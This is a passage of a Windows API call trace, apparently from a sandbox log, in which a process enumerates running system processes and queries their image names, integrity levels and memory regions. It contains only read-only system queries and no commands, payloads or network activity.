VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.536] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x0, AllocationProtect=0x10000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.577] QueryFullProcessImageNameW (in: hProcess=0x1b4, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Windows\\System32\\dwm.exe", lpdwSize=0x174fa50) returned 1 [0074.578] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0074.578] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0074.578] IsWow64Process (in: hProcess=0x1b4, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0074.578] NtQueryInformationProcess (in: ProcessHandle=0x1b4, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0074.578] GetProcessTimes (in: hProcess=0x1b4, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0074.578] OpenProcessToken (in: ProcessHandle=0x1b4, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0074.578] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0074.578] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0074.578] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0074.578] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0074.578] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0074.578] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0074.578] NtClose (Handle=0x2e8) returned 0x0 [0074.578] NtQueryVirtualMemory (in: ProcessHandle=0x1b4, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.578] NtQueryVirtualMemory (in: ProcessHandle=0x1b4, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x0, AllocationProtect=0x10000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.592] QueryFullProcessImageNameW (in: hProcess=0x1b8, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Windows\\explorer.exe", lpdwSize=0x174fa50) returned 1 [0074.592] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0074.592] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0074.592] IsWow64Process (in: hProcess=0x1b8, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0074.592] NtQueryInformationProcess (in: ProcessHandle=0x1b8, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0074.592] GetProcessTimes (in: hProcess=0x1b8, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0074.592] OpenProcessToken (in: ProcessHandle=0x1b8, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0074.592] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0074.592] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0074.592] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0074.592] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0074.592] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0074.593] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0074.593] NtClose (Handle=0x2e8) returned 0x0 [0074.593] NtQueryVirtualMemory (in: ProcessHandle=0x1b8, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.593] NtQueryVirtualMemory (in: ProcessHandle=0x1b8, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x0, AllocationProtect=0x10000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.668] QueryFullProcessImageNameW (in: hProcess=0x1bc, dwFlags=0x0, lpExeName=0x179e3f0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Windows\\System32\\spoolsv.exe", lpdwSize=0x174fa50) returned 1 [0074.668] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x179e3f0) returned 1 [0074.668] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0074.668] IsWow64Process (in: hProcess=0x1bc, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0074.669] NtQueryInformationProcess (in: ProcessHandle=0x1bc, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0074.669] GetProcessTimes (in: hProcess=0x1bc, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0074.669] OpenProcessToken (in: ProcessHandle=0x1bc, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0074.669] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0074.669] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0074.669] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0074.669] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x1045229 [0074.669] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x1045230 [0074.669] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0074.669] NtClose (Handle=0x2e8) returned 0x0 [0074.669] NtQueryVirtualMemory (in: ProcessHandle=0x1bc, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.669] NtQueryVirtualMemory (in: ProcessHandle=0x1bc, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x0, AllocationProtect=0x10000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.701] QueryFullProcessImageNameW (in: hProcess=0x1c0, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Windows\\System32\\taskhost.exe", lpdwSize=0x174fa50) returned 1 [0074.701] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0074.701] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0074.701] IsWow64Process (in: hProcess=0x1c0, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0074.701] NtQueryInformationProcess (in: ProcessHandle=0x1c0, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0074.701] GetProcessTimes (in: hProcess=0x1c0, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0074.701] OpenProcessToken (in: ProcessHandle=0x1c0, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0074.701] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0074.701] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0074.702] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0074.702] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0074.702] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0074.702] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0074.702] NtClose (Handle=0x2e8) returned 0x0 [0074.702] NtQueryVirtualMemory (in: ProcessHandle=0x1c0, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.702] NtQueryVirtualMemory (in: ProcessHandle=0x1c0, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x0, AllocationProtect=0x10000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.728] QueryFullProcessImageNameW (in: hProcess=0x1c4, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x174fa50) returned 1 [0074.728] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0074.729] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0074.729] IsWow64Process (in: hProcess=0x1c4, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0074.729] NtQueryInformationProcess (in: ProcessHandle=0x1c4, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0074.729] GetProcessTimes (in: hProcess=0x1c4, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0074.729] OpenProcessToken (in: ProcessHandle=0x1c4, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0074.729] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0074.729] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0074.729] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0074.729] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x1045229 [0074.729] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x1045230 [0074.729] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0074.729] NtClose (Handle=0x2e8) returned 0x0 [0074.729] NtQueryVirtualMemory (in: ProcessHandle=0x1c4, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.729] NtQueryVirtualMemory (in: ProcessHandle=0x1c4, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x0, AllocationProtect=0x10000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.757] QueryFullProcessImageNameW (in: hProcess=0x1c8, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Windows\\System32\\taskeng.exe", lpdwSize=0x174fa50) returned 1 [0074.757] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0074.757] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0074.757] IsWow64Process (in: hProcess=0x1c8, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0074.757] NtQueryInformationProcess (in: ProcessHandle=0x1c8, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0074.757] GetProcessTimes (in: hProcess=0x1c8, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0074.757] OpenProcessToken (in: ProcessHandle=0x1c8, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0074.757] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0074.757] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0074.757] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0074.757] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x3000)) returned 0x1045229 [0074.757] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x3000), nSubAuthority=0x0) returned 0x1045230 [0074.758] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0074.758] NtClose (Handle=0x2e8) returned 0x0 [0074.758] NtQueryVirtualMemory (in: ProcessHandle=0x1c8, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.758] NtQueryVirtualMemory (in: ProcessHandle=0x1c8, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x0, AllocationProtect=0x10000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.771] QueryFullProcessImageNameW (in: hProcess=0x1cc, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Windows\\System32\\taskhost.exe", lpdwSize=0x174fa50) returned 1 [0074.772] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0074.772] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0074.772] IsWow64Process (in: hProcess=0x1cc, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0074.772] NtQueryInformationProcess (in: ProcessHandle=0x1cc, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0074.772] GetProcessTimes (in: hProcess=0x1cc, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0074.772] OpenProcessToken (in: ProcessHandle=0x1cc, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0074.772] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0074.772] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0074.772] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0074.772] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x1045229 [0074.772] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x1045230 [0074.772] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0074.772] NtClose (Handle=0x2e8) returned 0x0 [0074.772] NtQueryVirtualMemory (in: ProcessHandle=0x1cc, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.772] NtQueryVirtualMemory (in: ProcessHandle=0x1cc, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x0, AllocationProtect=0x10000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.800] QueryFullProcessImageNameW (in: hProcess=0x1d0, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x174fa50) returned 1 [0074.800] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0074.800] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0074.801] IsWow64Process (in: hProcess=0x1d0, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0074.801] NtQueryInformationProcess (in: ProcessHandle=0x1d0, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0074.801] GetProcessTimes (in: hProcess=0x1d0, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0074.801] OpenProcessToken (in: ProcessHandle=0x1d0, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0074.801] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0074.801] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0074.801] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0074.801] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x1045229 [0074.801] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x1045230 [0074.801] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0074.801] NtClose (Handle=0x2e8) returned 0x0 [0074.801] NtQueryVirtualMemory (in: ProcessHandle=0x1d0, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.801] NtQueryVirtualMemory (in: ProcessHandle=0x1d0, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x0, AllocationProtect=0x10000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.813] QueryFullProcessImageNameW (in: hProcess=0x1d4, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Windows\\System32\\sppsvc.exe", lpdwSize=0x174fa50) returned 1 [0074.813] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0074.813] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0074.813] IsWow64Process (in: hProcess=0x1d4, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0074.813] NtQueryInformationProcess (in: ProcessHandle=0x1d4, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0074.813] GetProcessTimes (in: hProcess=0x1d4, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0074.813] OpenProcessToken (in: ProcessHandle=0x1d4, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0074.813] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 